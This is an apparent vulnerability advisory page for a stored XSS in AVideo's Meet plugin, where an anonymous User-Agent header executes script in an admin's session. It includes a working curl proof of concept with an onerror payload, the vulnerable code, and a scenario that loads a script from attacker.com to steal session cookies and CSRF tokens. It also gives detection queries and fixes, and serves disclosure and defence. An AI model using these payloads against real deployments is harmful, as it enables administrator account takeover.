GHSA-7cqp-7cfv-6c3q: AVideo Meet: Stored XSS via User-Agent → admin takeover
GHSA-7cqp-7cfv-6c3q MEDIUMAVideo's Meet plugin stores the raw HTTP User-Agent of every meeting participant without sanitization and renders it unencoded in the host/admin participant panel, meaning a single unauthenticated HTTP request is sufficient to plant a persistent XSS payload that executes in any privileged session that reviews the participant list. With 479 downstream dependents, 38 prior CVEs in the same package, and an OpenSSF score of 6.6/10, the package's security posture is poor and the blast radius extends across every AVideo deployment running the Meet plugin with public meetings enabled. The full exploit is a one-liner curl command with no authentication and no special tooling required, and no patch existed at time of disclosure. Until a fixed release ships, disable public meetings or restrict meeting join to authenticated users only; detect active exploitation by querying meet_join_log WHERE user_agent REGEXP '<[a-zA-Z]|onerror|onload|javascript:'.
What is the risk?
HIGH — Cross-privilege escalation from anonymous visitor to full admin-session compromise makes this exceptionally impactful despite the medium severity label. The attack requires zero authentication, zero AI or security knowledge, and is fully scriptable in a single HTTP request. The payload persists in the database indefinitely, firing against every privileged user who opens the participant list until the record is deleted or the application is patched. The absence of a patch at disclosure time, combined with the package's history of 38 CVEs, significantly elevates operational risk for any team running AVideo as a collaboration or demo platform.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Panel | composer | <= 29.0 | No patch |
Do you use Panel? You're affected.
How severe is it?
What should I do?
6 steps-
Immediate workaround: Disable public meetings (require passwords or authentication) to prevent anonymous log writes — this blocks the write path without code changes.
-
Code fix (sink): Apply htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8') at plugin/Meet/getMeetInfo.json.php:71 as documented in the advisory's private fork PR.
-
Defense in depth (source): Add xss_esc() in Meet_join_log::setUser_agent() mirroring the sanitization pattern used by Meet_schedule::setTopic(), protecting all current and future readers of the stored field.
-
Detection: Run SELECT id, meet_schedule_id, user_agent, created FROM meet_join_log WHERE user_agent REGEXP '<[a-zA-Z/]|onerror|onload|javascript:|src=' to identify stored payloads; review results for active exploitation.
-
WAF rule: Block or sanitize requests to /plugin/Meet/iframe.php where the User-Agent header contains HTML metacharacters (<, >, &, ", ').
-
Monitor: Review BetterStack or web server logs for anomalous User-Agent strings matching known XSS payloads joining meeting endpoints.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-7cqp-7cfv-6c3q?
AVideo's Meet plugin stores the raw HTTP User-Agent of every meeting participant without sanitization and renders it unencoded in the host/admin participant panel, meaning a single unauthenticated HTTP request is sufficient to plant a persistent XSS payload that executes in any privileged session that reviews the participant list. With 479 downstream dependents, 38 prior CVEs in the same package, and an OpenSSF score of 6.6/10, the package's security posture is poor and the blast radius extends across every AVideo deployment running the Meet plugin with public meetings enabled. The full exploit is a one-liner curl command with no authentication and no special tooling required, and no patch existed at time of disclosure. Until a fixed release ships, disable public meetings or restrict meeting join to authenticated users only; detect active exploitation by querying meet_join_log WHERE user_agent REGEXP '<[a-zA-Z]|onerror|onload|javascript:'.
Is GHSA-7cqp-7cfv-6c3q actively exploited?
No confirmed active exploitation of GHSA-7cqp-7cfv-6c3q has been reported, but organizations should still patch proactively.
How to fix GHSA-7cqp-7cfv-6c3q?
1. Immediate workaround: Disable public meetings (require passwords or authentication) to prevent anonymous log writes — this blocks the write path without code changes. 2. Code fix (sink): Apply htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8') at plugin/Meet/getMeetInfo.json.php:71 as documented in the advisory's private fork PR. 3. Defense in depth (source): Add xss_esc() in Meet_join_log::setUser_agent() mirroring the sanitization pattern used by Meet_schedule::setTopic(), protecting all current and future readers of the stored field. 4. Detection: Run SELECT id, meet_schedule_id, user_agent, created FROM meet_join_log WHERE user_agent REGEXP '<[a-zA-Z/]|onerror|onload|javascript:|src=' to identify stored payloads; review results for active exploitation. 5. WAF rule: Block or sanitize requests to /plugin/Meet/iframe.php where the User-Agent header contains HTML metacharacters (<, >, &, ", '). 6. Monitor: Review BetterStack or web server logs for anomalous User-Agent strings matching known XSS payloads joining meeting endpoints.
What systems are affected by GHSA-7cqp-7cfv-6c3q?
This vulnerability affects the following AI/ML architecture patterns: ML demo and collaboration platforms, Web-based AI tooling with privileged admin panels, AI project review environments using video conferencing plugins.
What is the CVSS score for GHSA-7cqp-7cfv-6c3q?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011 User Execution AML.T0049 Exploit Public-Facing Application AML.T0106 Exploitation for Credential Access Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary The Meet plugin stores the raw HTTP `User-Agent` header of every meeting participant and later renders it without output encoding in the meeting-management ("Participants") panel that the meeting host and site administrators open. An anonymous, unauthenticated attacker can join any public meeting while sending a `User-Agent` header containing an HTML payload. The payload is persisted in `meet_join_log.user_agent` and, when the host or an administrator opens the participant list, is injected verbatim into their DOM, executing attacker-controlled JavaScript in a privileged, authenticated session. This is a cross-privilege stored XSS: an anonymous visitor obtains script execution in the administrator's browser. ### Affected versions `WWBN/AVideo` at current `master` commit `e8d6119f3cb1b849149906efeb0a41fc024f59f8` (and prior releases shipping the same code path). Not patched at the time of this report. ### Privilege required - **Writer (attacker):** unauthenticated / anonymous. Joining a public meeting requires no account and no password. - **Victim (trigger):** the meeting host or any site administrator who opens the meeting's participant-management panel. ### Vulnerable code (file:line) The stored value is never sanitized on write, then echoed without encoding on read. Write path — `plugin/Meet/Objects/Meet_join_log.php:147`: ```php public function setUser_agent($user_agent) { $this->user_agent = $user_agent; } ``` Write path — `plugin/Meet/Objects/Meet_join_log.php:177`: ```php public static function log($meet_schedule_id) { $log = new Meet_join_log(0); $log->setIp(getRealIpAddr()); $log->setMeet_schedule_id($meet_schedule_id); $log->setUser_agent((isMobile() ? "Mobile: " : "") . get_browser_name()); $log->setUsers_id(User::getId()); return $log->save(); } ``` `get_browser_name()` (`objects/functionsBrowser.php:239` and `:242`) returns the original-case `User-Agent` verbatim for any agent not matched to a known browser name: ```php return '[Bot] Other '.$user_agent; } //_error_log("Unknow user agent ($t) IP=" . getRealIpAddr() . " URI=" . getRequestURI()); return 'Other (Unknown) '.$user_agent; ``` Only the lowercased match copy is used for classification; the returned string still contains the raw, original `$_SERVER['HTTP_USER_AGENT']`. Because the value bypasses AVideo's object-setter sanitization layer (unlike `Meet_schedule::setTopic()`, which calls `xss_esc()`), the raw bytes reach the database unchanged. Read path — `plugin/Meet/getMeetInfo.json.php:71`: ```php echo '<li class="list-group-item">#' . $count . " - " . User::getNameIdentificationById($value['users_id']) . ' <span class="badge">' . $value['created'] . '</span><br><small class="text-muted">' . $value['user_agent'] . '</small></li>'; ``` `$value['user_agent']` is concatenated into the HTML with no `htmlspecialchars()`. The reader endpoint is gated by `Meet_schedule::canManageSchedule()` (site admin OR the schedule owner), so the value is rendered in a privileged context. ### How input reaches the sink The join that records the log is reachable anonymously through `plugin/Meet/iframe.php:11` and `:17`: ```php if (!Meet::validatePassword($meet_schedule_id, @$_REQUEST['meet_password'])) { header("Location: {$global['webSiteRootURL']}plugin/Meet/confirmMeetPassword.php?meet_schedule_id=$meet_schedule_id"); exit; } $objLive = AVideoPlugin::getObjectData("Live"); Meet_join_log::log($meet_schedule_id); ``` For a public meeting (`public = 2`), `Meet::validatePassword()` returns `true` for an anonymous request (no password set), so `Meet_join_log::log()` runs and stores the attacker's `User-Agent`. On the read side, the host/admin opens the participant modal, whose JavaScript fetches `getMeetInfo.json.php` and injects the response with jQuery `.html()` in `plugin/Meet/meet_scheduled.php:266`: ```js success: function (response) { if (response.error) { avideoAlert("<?php echo __("Sorry!"); ?>", response.msg, "error"); } else { $('#Meet_schedule2<?php echo $meet_scheduled, $manageMeetings; ?>Modal .modal-body').html(response.html); } ``` `.html(response.html)` parses and inserts the attacker-controlled markup, so the injected `onerror` handler executes in the host/admin DOM. ### Proof of concept — end-to-end reproduction (against pinned version) Deployed against the project's official Docker stack (php8.5/apache2.4 + mariadb), pinned commit `e8d6119f3cb1b849149906efeb0a41fc024f59f8`. `<TARGET>` is the deployed host. ```bash # 1. As the admin, create a PUBLIC meeting (public=2, no password): curl -sk -H 'Host: <TARGET>' -H "Cookie: $ADMIN_SESSION" -H 'Referer: https://<TARGET>/' \ --data-urlencode 'RoomTopic=Demo' --data-urlencode 'public=2' --data-urlencode 'RoomPasswordNew=' \ 'https://<TARGET>/plugin/Meet/saveMeet.json.php' # Response: {"error":false,"meet_schedule_id":1, ...} # 2. As an ANONYMOUS attacker (no cookie), join the meeting while sending an HTML # payload in the User-Agent. The trailing token " http" forces get_browser_name() # into the raw-reflecting "[Bot] Other" branch. curl -sk -H 'Host: <TARGET>' -H 'Referer: https://<TARGET>/' \ -A '<img src=x onerror=alert(document.domain)> http' \ 'https://<TARGET>/plugin/Meet/iframe.php?meet_schedule_id=1&meet_password=' # HTTP 200. Stored row: meet_join_log.user_agent = # [Bot] Other <img src=x onerror=alert(document.domain)> http # 3. As the host/admin, open the participant panel: curl -sk -H 'Host: <TARGET>' -H "Cookie: $ADMIN_SESSION" -H 'Referer: https://<TARGET>/plugin/Meet/' \ 'https://<TARGET>/plugin/Meet/getMeetInfo.json.php?meet_schedule_id=1' ``` The JSON `html` field contains the payload **unescaped**: ```html <small class="text-muted">[Bot] Other <img src=x onerror=alert(document.domain)> http</small> ``` When the admin opens the participant modal in a browser, jQuery `.html(response.html)` injects this markup and the `onerror` handler executes in the admin's authenticated session, printing `document.domain`. **Negative control:** joining with a benign browser `User-Agent` (`Mozilla/5.0 (Windows NT 10.0) Chrome/120.0 Safari/537.36`) causes `get_browser_name()` to return `Chrome`, which renders as plain text `<small class="text-muted">Chrome</small>` with no markup injection. ### Impact - Cross-privilege stored XSS: an unauthenticated, anonymous visitor achieves JavaScript execution in the meeting host's and site administrator's authenticated browser sessions. - Full account-takeover surface: theft of the admin session, CSRF-token exfiltration, and arbitrary authenticated actions (user and permission changes, plugin configuration) performed as the administrator. - The payload persists in the database and fires for every privileged user who reviews the participant list of the affected meeting. ### Suggested fix Encode the stored value at the sink in `plugin/Meet/getMeetInfo.json.php:71`: ```php . '</span><br><small class="text-muted">' . htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8') . '</small></li>'; ``` Defense in depth: sanitize the value on write in `Meet_join_log::setUser_agent()`, mirroring the setter-layer encoding used by `Meet_schedule::setTopic()` (`xss_esc()`), so any other current or future reader of `meet_join_log.user_agent` is also protected. ### Fix PR A fix is provided on the advisory's private temporary fork: `WWBN/AVideo-ghsa-7cqp-7cfv-6c3q#1` (encodes the participant `User-Agent` at the sink with `htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8')`). ### Credit Reported by tonghuaroot.
Exploitation Scenario
An adversary targeting an organization that hosts AI model demos or internal ML review meetings on AVideo enumerates public meetings (e.g., a scheduled model review open to external stakeholders or a public AI project demo). They send a single anonymous HTTP request — no account, no password — to /plugin/Meet/iframe.php?meet_schedule_id=1 with User-Agent: '<script src=https://attacker.com/c2.js> http'. The trailing token forces get_browser_name() into its raw-reflecting fallback branch, storing '[Bot] Other <script src=https://attacker.com/c2.js> http' verbatim in the database. When the meeting host or any site administrator opens the participant management modal, jQuery .html() parses and inserts the attacker-controlled markup into the authenticated DOM. The loaded script silently exfiltrates the admin's session cookie and CSRF token to the attacker's server, granting persistent admin-level access to the AVideo platform and any AI assets, API keys, or integrated services accessible from the admin panel.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2024-13152 10.0 Mobuy Panel: SQLi allows unauthenticated DB takeover
Same package: panel CVE-2026-47744 9.9 Shopper: RBAC bypass allows full admin takeover
Same package: panel CVE-2024-13147 9.8 B2B Login Panel: SQLi enables unauthenticated DB access
Same package: panel CVE-2024-5960 9.8 Panel: plaintext credential storage enables domain compromise
Same package: panel CVE-2025-14014 9.8 Smart Panel: unauthenticated file upload enables RCE
Same package: panel